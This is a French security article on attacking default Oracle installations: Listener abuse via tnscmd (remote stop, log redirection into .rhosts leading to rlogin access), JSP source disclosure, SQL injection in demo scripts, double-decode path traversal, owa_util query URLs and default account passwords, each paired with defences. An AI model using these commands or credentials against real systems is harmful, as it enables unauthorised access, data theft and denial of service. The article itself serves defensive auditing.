Faille de Oracle :)
Posted on Thursday, December 02 @ 14:38:52 CET
Topic: Securité
|
( Wojciech Dworakowski ) Le présent article décrit seulement quelques risques caractéristiques pour les installations
d'Oracle. J'ai essayé de présenter autant les dangers classiques dus aux erreurs commises par
l'éditeur (p. ex. buffer-overflow) que ceux dus `a la configuration incorrecte des services
dans l'installation standard, présence de scripts démo ou meme les principes de conception
inexacts. Oracle est un produit avancé de type base de données, intégrant plusieurs
technologies. De cela, la configuration de la protection d'oracle est une tâche vraiment
difficile.
Attaque simple DoS
Remplacement d'un fichier quelconque
Exemple d'un scénario de l'attaque
Autres erreurs intéressantes du Listener
D'Apache `a Oracle
Révélation du code source des scripts JSP
Oracle du point de vue de l'intrus
Wojciech Dworakowski
------------------------------------------------------------------------------------------
Professionnellement, je ne m'occupe pas d'administration de serveurs Oracle. Mon travail est
lié plutôt `a l'analyse de la sécurité des systemes IT (tests de pénétration, consultation de
la configuration). Pour cela, le présent article sera écrit plutôt du point de vue de
l'attaquant que de l'administrateur.
L'article constitue la récapitulation de plus de deux ans d'expériences dans les tests des
systemes de sécurité Oracle. La plupart des informations proviennent des ressources
disponibles sur Internet.
------------------------------------------------------------------------------------------
Les produits Oracle dominent le marché des bases de données. Plusieurs services de fourniture
d'acces `a des données fonctionnent sur cette plate forme (aussi via Internet). Ces bases sont
également tres populaires au sein des entreprises. Le slogan publicitaire d'Oracle en 2002
était : Oracle - The Unbreakable. Est-ce vrai ? Dans le présent article, je tenterai de vous
montrer les dangers dus aux installations standard des produits Oracle.
Tout d'abord, je tiens `a souligner que je n'ai pas l'intention de viser particuliérement la
société Oracle, de désavouer ses démarches marketing ou de suggérer que DBMS Oracle est
dangereux ou troué comme une écumoire. Mon objectif est plutôt de démontrer que chaque produit
est exposé aux fautes des développeurs et concepteurs quels qu'ils soient, et quoi qu'on dise
dans la publicité. Oracle 9i est un bon produit de base de données dont la participation au
marché devient de plus en plus importante. Mais les grandes entreprises et les produits
renommés peuvent avoir aussi des défauts. Il ne faut pas oublier ce fait et croire naivement
aux slogans publicitaires. Non sans raison, la devise de l'Agence Nationale de Sécurité des
Etats Unis est : nous ne croyons qu'en Dieu - tout autre chose doit etre vérifiée.
Toutes les erreurs décrites concernent l'installation standard. Il est possible de les éviter
grâce `a l'utilisation des correctifs et des prescriptions de l'éditeur, ou bien en supprimant
la fonctionnalité excessive dans les installations de production.
La premiere partie de l'article concerne les attaques possibles `a partir du réseau local.
Généralement, je me concentrerai sur les imperfections du service Listener. Dans la deuxieme
partie, je décrirai quelques dangers liés aux serveurs d'applications Internet établies `a
partir d'Oracle. Cette derniere partie s'intéressera principalement aux modules du service
Apache, intégré dans les solutions Oracle.
Un peu d'histoire
Les produits de la société Oracle furent longtemps considérés comme des applications exemptes
d'erreurs importantes liées `a la sécurité. Cette opinion résultait probablement du faible
intéret accordé par les chercheurs `a ces types de produits, `a cause de leur accessibilité
insuffisante. Pour avoir acces aux versions completes des systemes DBMS de la société Oracle,
il fallait acheter les licences tres cheres. Tout a changé au moment ou Oracle a commencé `a
rendre accessible les versions completes sur Internet. Ces versions peuvent etre utilisées
pour le développement et les tests. Depuis `a peu pres deux ans, nous pouvons observer que ces
produits captent l'intéret des spécialistes qui s'occupent des tests de sécurité des
applications et de la recherche des erreurs.
Ce fait a changé l'idée de l'éditeur sur les problemes de sécurité liés au code des produits.
Auparavant, Oracle voyait la sécurité seulement `a travers les mécanismes de protection des
données dans l'application.
En 2002 Oracle a publié plus de 20 informations sur les risques dans ses produits. De plus,
les distributions standard d'oracle contiennent les composants Open Source, comme, p.ex.
Apache qui, eux memes, peuvent comprendre des erreurs.
Oracle Listener
Voici tout d'abord, quelques informations essentielles sur le programme Oracle Listener. Il
s'agit d'un composant responsable, avant tout, de la communication entre les clients et le
serveur Oracle (il gere aussi la communication entre les serveurs). C'est un élément de chaque
installation d'oracle DBMS. Listener est un processus agissant sur le serveur de base données
dont la tâche consiste `a recevoir les commandes des clients. Dans les systemes Unix, ce
processus s'appelle tnslsnr. Dans les systemes Windows - le service approprié - Listener
écoute les commandes sur le port TCP 1521. Pour la communication entre Oracle Client et
Listener, on utilise le protocole TNS (Transparent Network Substrate).
Les attaques les plus menaçantes liées `a Oracle Listener n'exigent pas de la part du pirate
un savoir-faire spécial. Ce n'est pas un débordement du tampon classique ou autres erreurs
types commises par les programmeurs (pourtant, nous pouvons aussi en trouver). Les faiblesses
les plus importantes de Listener résultent probablement des mauvais principes adoptés lors de
la conception du programme. En un mot : It's not a bug - It's a feature. Mais passons
maintenant aux faits concrets.
Pour attaquer Oracle Listener, on peut utiliser un simple script perl appelé tnscmd. Il est
accessible sous http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd. Ce script permet de
passer des commandes au protocole TNS.
Comment s'informer sur le systeme
Par défaut, Oracle Listener reçoit des commandes de n'importe qui et n'exige aucune
autorisation. Cette situation peut évidement conduire `a des abus. Premierement, un
utilisateur quelconque du réseau qui est capable de se connecter au port de Listener 1521 TCP,
peut obtenir beaucoup d'informations sur le systeme. Il utilisera pour cela les commandes
version et status du protocole TNS :
tnscmd version -h adresse_du_serveur -p 1521
tnscmd status -h adresse_du_serveur -p 1521
Listener répond `a ces requetes en révélant, entre autres :
* la version précise d'Oracle,
* le type de systeme d'exploitation,
* le temps écoulé depuis le lancement de l'instance d'Oracle,
* les chemins d'acces aux fichiers journaux,
* les options de Listener (p.ex. l'état de l'option security),
* le type de services d'Oracle gérés par Listener,
* les arguments de l'appel,
* l'environnement complet (valeurs de toutes les variables systeme) dans lequel Listener a
été lancé.
Un exemple de la réception de certaines informations est présenté dans le Listing 1.
Ces données peuvent servir `a la préparation de l'attaque efficace contre le systeme
d'exploitation ou contre les programmes Oracle.
------------------------------------------------------------------------------------------
Listing 1. Réception des informations sur le systeme - commande TNS status
tnscmd status -h 10.1.1.100 -p 1521
sending (CONNECT_DATA=(COMMAND=status))
to 10.1.1.100:1521
connect
writing 89 bytes
reading
. .......6.........@. ...........J........
DESCRIPTION=
TMP=
VSNNUM=135291648
ERR=0
ALIAS=LISTENER
SECURITY=OFF
VERSION=TNSLSNR for Solaris:
Version 8.1.6.3.0 - Production
START_DATE=28-OCT-2002 16:22:44
SIDNUM=1
LOGFILE=/opt/oracle/8i/network/log/listener.log
PRMFILE=/opt/oracle/8i/network/admin/listener.ora
TRACING=off
UPTIME=379500951
SNMP=OFF
------------------------------------------------------------------------------------------
Attaque simple DoS
La configuration standard permet d'effectuer une attaque denial of service banale sur l'Oracle
Listener. L'option SECURITY=OFF (voir Listing 1) nous informe qu'il est possible de passer des
commandes au Listener sans aucune autorisation. Par défaut, l'acces au niveau de
l'administrateur du Listener n'est pas protégé par aucun mot de passe, aussi un intrus
potentiel peut sans probleme donner la commande :
tnscmd stop -h oracleserwer -p 1521
Listener, sans un mot, terminera la session. C'est une attaque Denial of Service (DoS) tres
simple. L'intrus n'a pas réussi `a accéder ni au systeme ni aux données, mais il a empeché son
utilisation.
Pour se protéger contre ce type d'attaque, il faut définir l'option security dans le Listener
et un mot de passe protégeant les commandes d'administration.
Remplacement d'un fichier quelconque
Le processus de Listener (tnslsnr) enregistre tous les événements dans un journal (log).
L'emplacement de ce log est déterminé par l'administrateur. Mais grâce `a la commande du
protocole TNS - status, dont nous avons parlé précédemment, il est possible de lire le chemin
d'acces. Dans le Listing 1, c'est la valeur de la variable LOGFILE. Pour aller plus loin - `a
l'aide de la commande appropriée TNS, on peut changer l'emplacement du fichier journal. De
plus, Listener prend aveuglément chaque valeur, n'importe si le fichier spécifié existe (dans
ce cas, il est remplacé), ou pas (dans ce cas, il est créé). En effet, l'intrus qui est
capable de se connecter au port 1521 du serveur Oracle peut remplacer ou créer un fichier
quelconque auquel le processus Oracle Listener possede les droits. Par défaut, dans les
systemes Unix, c'est l'utilisateur oracle, et dans les systemes Microsoft - l'utilisateur
LOCAL_SYSTEM (sic!). De cette façon, l'intrus peut endommager les fichiers des bases de
données, fichiers de configuration ou meme binaires d'Oracle.
Le script tnscmd permet de saisir directement des chaînes de caractere qui feront partie de la
commande TNS. Si l'on connaît un peu ce protocole, il est possible de définir la commande de
modification du fichier journal. Exemple - réorientation des logs vers le fichier
/home/oracle/.rhosts - est présenté dans le Listing 2.
------------------------------------------------------------------------------------------
Listing 2. Remplacement d'un fichier quelconque auquel l'utilisateur oracle a l'acces (dans ce
cas, c'est le fichier .rhosts dans le répertoire personnel de l'utilisateur oracle)
wojdwo@behemot$ ./tnscmd -h oracleserver --rawcmd "
(DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_file)(ARGUMENTS=4)
(SERVICE=LISTENER) (VERSION=1) (VALUE=/home/oracle/.rhosts)))"
sending
(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)
(VERSION=1)(VALUE=/home/oracle/.rhosts)))
to oracleserver:1521
writing 205 bytes
reading
.m......"..a(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0)(COMMAND=log_file)(LOGFILENAME=/home/oracle/.rhosts))
------------------------------------------------------------------------------------------
Exemple d'un scénario de l'attaque - reprise du contrôle sur la base
Apres la redirection des logs vers un fichier quelconque, toutes les informations enregistrées
par Oracle Listener seront sauvegardées dans ce fichier. Listener n'enregistre pas dans les
logs beaucoup d'informations, par exemple, il n'enregistre pas de l'adresse IP ni le nom de
l'hôte `a partir duquel la connexion est parvenue. Donc, l'intrus qui s'attaque `a l'Oracle
par une des méthodes ci-dessus, ne sera pas dévoilé au moyen des logs de Listener. Mais le log
enregistre toutes les informations sur les erreurs, avec la citation de la commande
incorrecte. Cela permet de saisir dans le fichier les informations souhaitées par l'intrus, ce
qui, dans certains circonstances peut amener `a la reprise du contrôle sur le systeme.
Au-dessous, je présente le scénario de l'attaque basé sur la saisie de l'information
respective dans le fichier .rhosts et l'utilisation du service rlogin. Attention : le scénario
ci-dessous n'est qu'un exemple. Les erreurs présentées permettent de mieux pénétrer dans les
systemes.
Au début, l'intrus donne la commande `a Listener `a l'aide du programme tnscmd, la commande
TNS ordonne `a Listener sur le serveur oracleserwer le changement du fichier journal en
/home/oracle/.rhosts (Listing 2).
Comme on peut voir dans la suite du listing, le listener sur le serveur oracleserwer a
effectué cette commande. Désormais, toutes les enregistrements concernant le fonctionnement du
listener parviendront au fichier /home/oracle/.rhosts .
Dans les systemes Unix, le fichier .rhosts dans le répertoire personnel de l'utilisateur
enregistre les comptes distants et les noms ou adresses IP des hôtes qui peuvent se connecter
au systeme sans aucune authentification par les services rlogin, rsh, rcmd. L'objectif de
l'intrus consiste `a saisir dans ce fichier son nom et adresse IP de l'hôte.
Comme nous avons déj`a dit, listener enregistre dans les logs les informations sur les
erreurs, avec l'avertissement sur la commande incorrecte. Il est possible d'utiliser ce fait
pour saisir notre adresse IP et le nom de l'utilisateur dans le fichier .rhosts (Listing 3).
Il est important que les données saisies soient placées dans une ligne séparée.
------------------------------------------------------------------------------------------
Listing 3. Utilisation de listener pour saisir ses propres données dans un fichier quelconque
wojdwo@behemot$ ./tnscmd -h oracleserwer
--rawcmd "(CONNECT_DATA=((
10.1.1.223 wojdwo
"
sending (CONNECT_DATA=((
10.1.1.223 wojdwo
to oracleserwer:1521
writing 93 bytes
reading
.$....."..(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
(ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4)
(ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo'))
(ERROR=(CODE=303)(EMFI=1))))
------------------------------------------------------------------------------------------
Nous voyons que listener a retourné le message d'erreur, pourtant il a saisi dans ses logs,
c'est-`a-dire dans le fichier /home/oracle/.rhosts, toute la ligne avec la commande
incorrecte. En ce moment, le fichier /home/oracle/.rhosts (le log courant de Listener) se
présente comme sur le Listing 4.
------------------------------------------------------------------------------------------
Listing 4. Contenu du fichier /home/oracle/.rhosts apres son remplacement par Oracle Listener
12-SIE-2002 15:44:05 * log_file * 0
12-SIE-2002 15:44:37 * service_register * ora1 * 0
12-SIE-2002 15:44:58 * 1153
TNS-01153: Failed to process string: (CONNECT_DATA=((
10.1.1.223 wojdwo
NL-00303: syntax error in NV string
------------------------------------------------------------------------------------------
L'intrus a profité des imperfections d'Oracle Listener pour saisir la ligne 10.1.1.223 wojdwo
dans le fichier .rhosts . Elle sera correctement interprétée par le systeme, en effet,
l'intrus pourra se loguer `a distance comme utilisateur oracle, sans aucune authentification.
Listing 5 démontre la connexion `a distance avec le serveur oracleserwer et l'acquisition des
droits d'utilisateur oracle.
------------------------------------------------------------------------------------------
Listing 5. A la suite de l'attaque, il devient possible de se loguer `a distance dans le
systeme avec les droits d'utilisateur Oracle.
wojdwo@behemot$ rlogin -l oracle oracleserwer
Linux oracleserwer Mon Aug 12 15:46:15 EST 2002
i686 unknown
oracle@oracleserwer:~$ id
uid=1001(oracle) gid=103(oinstall)
groups=103 (oinstall),104(dba),105(oper)
------------------------------------------------------------------------------------------
En récapitulant : l'intrus qui agit `a distance a réussi, par des manipulations appropriées
sur le serveur Oracle Listener, `a obtenir les droits d'utilisateur oracle dans le systeme
d'exploitation.
Bien sur, ce scénario n'est possible que si le systeme d'exploitation donne la possibilité de
se loguer `a distance par rlogin et utilise les fichiers .rhosts pour autoriser les
utilisateurs distants (configuration standard dans la plupart des systemes Unix). Comme j'ai
déj`a dit auparavant, ce n'est qu'un exemple. Nous pouvons préparer une attaque semblable qui
permet de manipuler les clés ssh, et en effet, donne l'acces aux systeme via ssh. Les attaques
semblables peuvent etre effectuées sur l'Oracle fonctionnant sur les plates-formes Windows.
Ces dernieres pourraient s'avérer plus efficaces et dangereuses non seulement pour la base de
donnée, mais aussi pour le systeme meme puisque l'intrus obtient les droits Local System.
Les dangers décrits ci-dessus sont autant importants qu'ils arrivent jusqu'au maintenant, dans
toutes les versions Oracle contenant Oracle Listener, y compris la nouvelle version, bien que
les risques soient connus depuis 2000. Le patch édité par l'Oracle (#1361722) implémente dans
le fichier de configuration de Listener (listener.ora) un parametre supplémentaire -
ADMIN_RESTRICTIONS. L'activation de ce parametre empeche la reconfiguration dynamique `a
distance du listener. Pourtant - pour garder la cohérence - par défaut, ce parametre est
désactivé.
Autres erreurs intéressantes du Listener
Comme j'ai déj`a dit, les erreurs présentées ci-dessus sont d'autant intéressant qu'elles ne
résultent pas de la négligence des programmeurs, mais elles ont été commises dans la phase de
l'établissement du projet. Bien sur, l'Oracle Listener n'est pas libre des risques plus
traditionnels qui résultent p.ex. du manque de validation des données d'entrée. Les
informations sur les autres erreurs sont disponibles sur la page
http://otn.oracle.com/deploy/security/alerts.htm et dans le Bulletin de Sécurité d'Oracle que
je rédige et qui apparaît régulierement dans la revue du Groupe Polonais des Utilisateurs
d'Oracle. Elle est disponible sous l'adresse que vous trouverez `a la fin de cette article
(encadrement Dans le réseau).
Au-dessous, je voudrais présenter deux dangers qui sont particulierement intéressants. Les
deux sont déj`a corrigés par l'éditeur (il existe des patches appropriés).
Une erreur intéressante (un exemple de son utilisation est présenté dans le Listing 6) commise
par les programmeurs d'Oracle Listener est une erreur permettant de révéler l'information
transmise dans la connexion précédente d'un autre utilisateur avec listener. L'erreur du
programmeur consiste probablement `a ce que le tampon qui reçoit les messages n'est pas purgé
apres chaque connexion. En effet, si l'on définit dans le parametre convenable la longueur de
la commande TNS supérieure `a la longueur réelle (oracleserwer --cmdsize 30), on est capable
de lire la partie de la commande donnée `a listener par l'utilisateur précédent
(COMMAND=status).
------------------------------------------------------------------------------------------
Listing 6. Manipulation du protocole TNS ; en effet, listener dévoile le fragment de la
commande précédente
wojdwo@behemot$ ./tnscmd
--rawcmd " " -h oracleserwer --cmdsize 30
sending to oracleserwer:1521
Faking command length to 30 bytes
writing 59 bytes
reading
......."...(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)
(ARGS='CONNECT_DATA=(COMMAND=status)'))
(ERROR=(CODE=303)(EMFI=1))))
------------------------------------------------------------------------------------------
Une autre erreur intéressante est liée `a la commande SERVICE_CURLOAD. Pour envoyer cette
commande, on peut utiliser le programme :
tnscmd -h 192.168.0.200 --rawcmd "(CONNECT_DATA=(COMMAND=SERVICE_CURLOAD))"
A la suite de cette commande, le processus du listener (tnslsnr) consomme 99% de temps du
processeur. Et encore une fois, l'attaque denial of service banale.
Oracle Listener - remarques
Les attaques présentées ci-dessous liées `a l'Oracle Listener exigent que l'intrus puisse
communiquer avec ses processus. Il doit avoir la possibilité d'envoyer les paquets sur le port
1521/tcp. Par cela, la plupart des administrateurs négligent ces dangers parce qu'ils croient
que les pare-feu bloquent efficacement le trafic par ce port (port des serveurs de bases de
données). Comment c'est efficace, nous avons pu voir `a la fin janvier 2003 pendant l'attaque
du virus Slammer (Sapphire) qui attaquait justement les serveurs MS-SQL. Outre cela, la
plupart des intrus n'attaquent pas de front. Au lieu d'essayer attaquer directement le serveur
Oracle, il est plus facile de reprendre le contrôle sur une station de travail dans le réseau
attaqué et, `a partir de ce poste, s'attaquer `a l'Oracle Listener.
Bien sur, il existe de possibilités de se protéger au moins partiellement contre ces types de
dangers. Premierement, nous pouvons activer dans listener l'option security et déterminer un
mot de passe. Ensuite, nous pouvons définir les adresses IP qui peuvent se connecter au
listener (directives tcp.validnode_checking et tcp.invited_nodes) et interdire la modification
dynamique des fichiers de configuration (p. ex. logs) en activant l'option ADMIN_RESTRICTIONS.
D'Apache `a Oracle
Dans les dernieres années, tres souvent, les informations sont mises `a disposition `a travers
les pages WWW connectées aux bases de données. Dans une telle architecture, du côté du serveur
WWW, certaines méthodes dynamiques (p. ex. PHP, ASP, JSP)sont lancées. Elles chargent les
données `a partir de la base de donnée et génerent les pages WWW. Le tout constitue
l'application web. Le client de cette application devient, bien sur, le navigateur WWW. Oracle
et autres éditeurs des produits de bases de données ont apprécié cette mode et ils ont permis
l'acces aux données `a travers les navigateurs WWW. Dans le cas d'oracle, le serveur WWW est
Oracle HTTP Listener. C'est la deuxieme (outre le Listener standard) façon de communiquer avec
le serveur Oracle, et, de cela, des attaques potentielles peuvent parvenir aussi de ce côté.
L'Oracle HTTP Listener est un serveur connu Apache de série 1.3.x avec les modules ajoutés par
Oracle. Ces modules l'integrent avec Oracle DBMS. Le code exécuté du côté de serveur peut etre
créé `a l'aide de différentes méthodes. Les plus importantes sont, `a savoir :
* PL/SQL - langage de procédure d'oracle ; son interprétation dans le cas des scripts
server-side est effectuée par le module mod_plsql.
* Les Scripts JSP et servlets Java - gérés par JServ (mod_jserv lié statiquement avec
Apache) ou Oracle Containers for Java (OC4J). On peut dire que s'il s'agit des serveurs de
l'application, Oracle préfere Java. De cela, ces méthodes sont enrichies par les
possibilités intéressantes, p. ex. XSQL - intégration avec XML, ou bine SQLJ - exécution
directe des requetes SQL de l'intérieur des scriptes Java.
* D'autres méthodes traditionnelles, comme p. ex. scripts CGI ou Perl (mod_cgi et mod_perl
sont activés par défaut).
De plus, Oracle met `a disposition une quantité de technologies supplémentaires, comme par
exemple, tamponnage avancé des pages dynamiques (Oracle Web Cache), trame pour la création des
portails (Oracle Portal), implémentations WebDAV et autres.
Il est facile de deviner que la plupart de ces modules supplémentaires possedent une liste de
risques considérable. C'est une situation typique pour des programmes `a développement rapide.
Bien sur, dans l'installation standard, la plupart de ces suppléments sont actifs. Comme la
pratique l'indique, peu d'installations de production ont une configuration différente de
l'installation standard. De plus les administrateurs, n'étant pas capables de savoir tout sur
tous les composants avancés, préferent de les laisser que s'exposer `a la déstabilisation du
serveur. Et encore une fois nous pouvons appliquer un vieux principe selon lequel la sécurité
est inversement proportionnelle aux fonctionnalités disponibles dans le programme.
Dans la suite de cet article, je voudrais présenter quelques exemples d'attaques intéressantes
qui utilisent les trous dans les modules Oracle HTTP Listener. Tous les dangers décrits
peuvent etre supprimés grâce aux patches appropriés de l'éditeur. C'est ce qui caractérise ces
erreurs c'est leur trivialité. De plus, elles ont été toutes révélées dans la derniere année.
Révélation du code source des scripts JSP
Java Server Pages (JSP) c'est une des méthodes permettant au serveur de générer les pages WWW
avec un contenu dynamique constitué par les informations prises `a partir de la base de
données. Quant le client (navigateur WWW) demande la page `a extension .jsp, par défaut, le
serveur recherche le code java approprié, le compile et ensuite, l'exécute. Comme résultat,
nous obtenons la page HTML dans le navigateur. Lors de ce processus, dans le répertoire
/_pages du serveur WWW, les fichiers temporaires sont créés. Un de ces fichiers, `a extension
java, contient le code source du script exécuté.
Dans la configuration standard d'Apache distribué avec Oracle, le répertoire /_pages est mis
`a disposition par le serveur. Grâce `a cela, l'intrus peut lire le code source des pages JSP
gérées par le serveur.
Exemple : En premier pas, il faut lancer le script JSP que l'on veut attaquer JSP, pour que le
serveur charge et compile le code :
http://10.1.1.100/demo/sql/bean/ConnBeanDemo.jsp
Maintenant, on peut lire le code source du script JSP se référant au fichier approprié
disponible dans le répertoire /_pages:
http://10.1.1.100/_pages/_demo/_sql/_bean/_ConnBeanDemo.java
Afin de se défendre contre une telle attaque, il suffit d'interdire l'acces au répertoire
/_pages dans les parametres d'Apache. Tous les scripts JSP doivent aussi etre stockés sous
forme pré compilée. Ainsi, on évite la compilation des scripts au moment ou ils sont
accessibles, ce qui peut s'avérer dangereux, et de plus, cela permet d'améliorer l'efficacité
du systeme.
Scripts de démonstration
Beaucoup de dangers sont liés aux scripts de démonstration des fonctionnalités d'Oracle comme
serveur d'application, inclus dans l'installation standard d'Oracle. Ces scripts se trouvent
dans le répertoire /demo. Plusieurs de ces exemples ne sont pas de bons exemples `a suivre, en
particulier, s'il s'agit des principes de programmation sure. Le nombre important de scripts
de démonstration, le chargement des données de la base `a partir des variables provenant de
l'utilisateur, tout cela nous expose aux attaques de type SQL injection. Les principes
d'administration imposent la suppression des serveurs de production toutes les fonctionnalités
superflues et leur contenu, pourtant l'exposition de scripts de démonstration est tres
fréquente dans les installations de production (c'est tres courant dans le cas des serveurs de
développement mis `a disposition sur Internet).
Prenons, par exemple, le script /demo/sql/tag/sample2.jsp. Ce scripte est une interface `a la
table contenant les données sur les revenus dans une société imaginaire. Ce script affiche
dans le navigateur un formulaire WWW dans lequel l'utilisateur saisit une requete. Par
exemple, s'il saisit sal=800, la requete suivante est exécutée : select ename,sal from
scott.emp where sal=800. Le probleme est que la requete est faite `a la suite d'une simple
action consistant `a coller la chaîne de caracteres chargée `a partir d'un utilisateur, sans
aucune validation. L'intrus peut utiliser ce script pour lire les données quelconques de la
base auxquelles l'utilisateur du script sample2.jsp (par défaut, l'utilisateur SCOTT) a les
droits d'acces, y compris les données systeme. Par exemple - la saisie de la chaîne de
caracteres sal=800 union select username,userid from all_users exécute la requete select
ename,sal from scott.emp where sal=800 union select username,userid from all_users .
Si nous parlons `a propos des attaques par la méthode SQL-injection, il est juste de rappeler
que dans le cas d'Oracle, il n'est pas possible d'ajouter apres le point-virgule la commande
séparée SQL, comme cela est fait dans le cas de PostgreSQL ou MS-SQL. La technique la plus
utilisée (comme dans l'exemple ci-dessus) c'est l'ajout de sa partie de la requete par UNION
SELECT.
Interfaces d'administration
Des attaques tres simples mais aussi tres efficaces peuvent etre effectuées `a l'aide des
interfaces d'administration `a travers WWW. Dans l'installation standard d'Oracle, la grande
partie des pages d'administration n'exigent pas d'authentification (sic!). Les adresses de
quelques pages de ce type sont présentées ci-dessous :
* http://10.1.1.100/pls/admin_/gateway.htm,
* http://10.1.1.100/oprocmgr-status,
* http://10.1.1.100/servlet/Spy.
Module mod_plsql
Le module Apache mod_plsql sert `a interpréter sur le serveur WWW le code PL/SQL qui est un
langage natif des bases Oracle. Ce module contient également plusieurs erreurs classiques.
Une d'elles c'est le débordement du tampon d'entrée dans le script servant `a afficher l'aide.
L'envoi de la commande de type :
http://10.1.1.100/pls/simpledad/admin_/help/AAAAAAAA....(>1000 de caracteres)
provoque l'erreur de segmentation dans le processus qui gere cette commande. Au moyen de la
technique buffer-overflow il est possible d'exécuter le code de l'intrus sur le serveur, dans
le contexte du processus du serveur WWW (httpd).
Une autre attaque qui peut facilement atteindre mod_plsql est l'application de la technique
double decode. Cette technique consiste `a envoyer vers le serveur la commande contenant les
caracteres spéciaux (p. ex. barre oblique - slash) codés deux fois de façon hexadécimale. En
résultats, il est possible de contourner les restrictions du serveur et lire un fichier ou
répertoire quelconque sur le serveur WWW.
Exemple :
Lecture du fichier de configuration plsql.conf:
http://10.1.1.100/pls/simpledad/admin_/help/..%255Cplsql.conf
Utilisation des paquets standard PL/SQL
L'installation standard d'Oracle comprend une bibliotheque volumineuse avec différents paquets
des procédures PL/SQL. Dans les procédures plus anciennes d'Oracle, tous les paquets sont
également accessibles via Internet, `a l'aide de mod_plsql. La syntaxe de l'appel de la
procédure PL/SQL par le serveur WWW se présente ainsi :
http://ip.ip.ip.ip/pls/DAD/nom du paquet.nom de la procédure
DAD (ang. Database Access Descriptor) c'est une structure décrivant la façon de se connecter
`a la base. L'installation standard met `a disposition l'exemple d'un descripteur appelé
simpledad.
Au-dessous, je présenterai l'exemple de l'attaque au moyen des procédures du paquet owa_util.
Vérification du fonctionnement du paquet owa_util:
http://10.1.1.100/pls/simpledad/owa_util.signature
Révélation du code source d'un paquet PL/SQL quelconque (p. ex. file_util):
http://10.1.1.100/pls/simpledad/owa_util.showsource?cname=file_util
Exécution des requetes non autorisées `a la base :
http://10.1.1.100/pls/simpledad/owa_util. listprint?p_theQuery=select%20*%20from%20all_users&p_cname=&p_nsize=
Autres paquets PL/SQL intéressants, p. ex. :
http - procédures permettant la gestion du protocole HTTP,
tcp - procédures de gestion du protocole TCP ; elles permettent, entre autres, d'établir la
connexion de retour (sortante),
file_util - procédures d'acces aux fichiers ; elles permettent, par exemple, de charger un
fichier quelconque du serveur.
L'administrateur peut se défendre contre l'utilisation de ces paquets en saisissant le
parametre exclusion_list dans le fichier de configuration wdbsrv.app. Dans la configuration
standard d'Oracle 9i, ce parametre est déj`a saisi. Dans les versions antérieures, il n'est
pas activé.
Lecture de la configuration XSQL `a l'aide du servlet XSQLServlet
Le fichier XSQLConDessinxml contient les informations sur la configuration des fichiers XSQL,
entre autres, le nom et le mot de passe de l'utilisateur dont les droits d'acces sont utilisés
par le module XSQL pour se connecter `a la base de données. Ce fichier se trouve sur le
serveur WWW, dans le répertoire /xsql/lib/XSQLConDessinxml. Le serveur interdit l'acces `a ce
fichier, et chaque tentative d'y accéder entraîne l'envoi du message 403 Forbidden. Puisque
c'est un fichier XML, il est possible de le lire en utilisant le servlet XSQLServlet
accessible par défaut :
http://10.1.1.100/servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConDessinxml
Applications WWW - remarques
Dans cet article, j'ai présenté les exemples des attaques sur les programmes qui interfacent
la base de données Oracle `a l'Internet. Les attaques décrites ne sont qu'une sélection des
méthodes les plus intéressantes. En réalité, la liste est beaucoup plus longue.
Pourtant, les erreurs commises par l'éditeur de cette plate forme, c'est-`a-dire le serveur
d'application, ne sont pas si graves que les erreurs faites par les auteurs des services WWW
accessibles sur ce serveur d'application WWW. Le coeur de chaque installation de serveur
d'application ce sont les programmes créés exactement selon les besoins. Ces programmes sous
forme de scripts PL/SQL, JSP, servlets Java, etc. fonctionnent sur les serveurs WWW et se
connectent `a la base de données. N'oubliez pas que chaque erreur commise par un programmeur
dans ces types de scripts peut avoir des conséquences imprévues. Ici, le danger consiste `a ce
que les scripts sont autant dangereux que le principe de leur fonctionnement consiste `a
entrer en interaction souvent avec un utilisateur inconnu via Internet. Puisqu'ils utilisent
le protocole HTTP, les risques qui y sont liés ne peuvent pas etre contrôlés au moyen des
mécanises de protection standard, comme p. ex. pare-feu et IDS. L'unique moyen de protection
c'est l'audit scrupuleux du code par les spécialistes.
Remarques supplémentaires
Outre les méthodes présentées dans cet article, il est utile de dire quelques mots sur les
parametres standard d'Oracle qui peuvent faciliter la tâche `a l'intrus. Par exemple, les
comptes et les mots de passe présents dans l'installation standard d'Oracle sont généralement
connus, ce qui est une situation tres curieuse. Sur Internet, il est possible de trouver la
liste de plus de 100 comptes installés par défaut par Oracle 8i/9i et les produits
supplémentaires. D'habitude, ce sont les comptes internes du systeme ou les comptes liés aux
applications démo. Dans l'Oracle 8i (8.1.7), quelques de ces comptes possedes les droits
d'acces tres élevés :
CTXSYS (has³o CTXSYS) - droits DBA (administrateur de la base),
TRACESVR (has³o TRACE) - droits select any table,
MDSYS (has³o MDSYS) - jeu de droits tres élevés.
Ce qui est caractéristique, c'est que ces comptes sont liés `a une fonctionnalité accessoire
d'Oracle. Par exemple, CTXSYS c'est le compte nécessaire au fonctionnement du paquet qui sert
`a la recherche contextuelle des documents, et MDSYS sert `a gérer les données
multidimensionnelles (p. ex. dans les systemes GIS).
L'éditeur conseille de supprimer ou bloquer les comptes les plus importants, `a condition que
la fonctionnalité donné ne soit pas utilisé. Mais la plupart des administrateurs ne prennent
pas en compte ces prescriptions.
Conclusion
Le présent article décrit seulement quelques risques caractéristiques pour les installations
d'Oracle. J'ai essayé de présenter autant les dangers classiques dus aux erreurs commises par
l'éditeur (p. ex. buffer-overflow) que ceux dus `a la configuration incorrecte des services
dans l'installation standard, présence de scripts démo ou meme les principes de conception
inexacts. Oracle est un produit avancé de type base de données, intégrant plusieurs
technologies. De cela, la configuration de la protection d'oracle est une tâche vraiment
difficile.
Bien sur - le programme sans erreurs n'existe pas, pourtant leur qualité ou meme banalité dans
le cas de produits Oracle permet de constater qu'ils ne sont pas surs en configuration
standard. Dans ce contexte, le slogan publicitaire de l'éditeur paraît assez drôle : Oracle -
The Unbreakable: You can't break it, you can't break in. Bruce Schneier - cryptologue connu et
